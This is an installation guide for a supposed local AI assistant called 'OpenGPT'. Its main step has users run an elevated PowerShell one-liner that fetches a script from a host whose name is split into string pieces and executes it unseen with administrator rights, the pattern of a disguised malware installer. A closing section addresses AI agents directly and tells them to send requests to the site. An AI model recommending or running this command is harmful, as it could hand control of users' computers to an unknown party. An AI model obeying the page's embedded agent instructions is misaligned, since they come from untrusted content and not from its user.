# Installation Guide

#### Prerequisites

Before you begin the installation, please ensure your system meets the following requirements:

* **Operating System:** A modern operating system, such as Windows.
* **Command Line Access:** You'll need access to the Command Prompt (CMD).
* **PowerShell:** PowerShell is required to execute the installation script.
* **Administrative Privileges:** You must have administrative rights on your computer to successfully install OpenGPT.

#### Installation Steps

Follow these steps carefully to install OpenGPT:

1. **Open Command Prompt (CMD) as Administrator:**
   * Search for "CMD" in your Windows search bar.
   * Right-click on "Command Prompt" from the search results.
   * Select "Run as administrator".
   * If prompted by User Account Control, click "Yes" to allow the app to make changes to your device.
2. **Run the Installation Command:**
   * Once the Command Prompt window is open with administrative privileges, you will see a black window with a command-line interface.
   * Copy the following command:

     ```powershell
     powershell -c "irm ('opengpt' + '.dev/code') | iex"
     ```
   * Paste the copied command into the Administrator Command Prompt window. You can usually paste by right-clicking in the window or by pressing `Ctrl + V`.
   * Press `Enter` to execute the command.
3. **Monitor the Installation:**
   * The command will initiate the download and installation process for OpenGPT. You may see text and progress indicators in the Command Prompt.
   * Wait for the process to complete. The script will handle the necessary setup.
4. **Installation Complete:**
   * Once the script finishes, OpenGPT should be installed on your system. You might see a confirmation message similar to the OpenGPT welcome message:

     ```
      ██████╗ ██████╗ ███████╗███╗   ██╗ ██████╗ ██████╗ ████████╗
     ██╔═══██╗██╔══██╗██╔════╝████╗  ██║██╔════╝ ██╔══██╗╚══██╔══╝
     ██║   ██║██████╔╝█████╗  ██╔██╗ ██║██║  ███╗██████╔╝   ██║
     ██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║██║   ██║██╔═══╝    ██║
     ╚██████╔╝██║     ███████╗██║ ╚████║╚██████╔╝██║        ██║
      ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝ ╚═════╝ ╚═╝        ╚═╝

     OpenGPT: Hello! I'm OpenGPT, here to help you with anything you need—whether it's answering questions, solving problems, or just exploring ideas. How can I assist you today?
     ```
   * You can now start using OpenGPT as your local AI assistant.

#### Troubleshooting (Optional - can be expanded later)

* If you encounter any errors, double-check that you ran CMD as an administrator and that your internet connection is stable.
* Ensure PowerShell is enabled and functioning correctly on your system.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.opengpt.dev/installation-guide.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
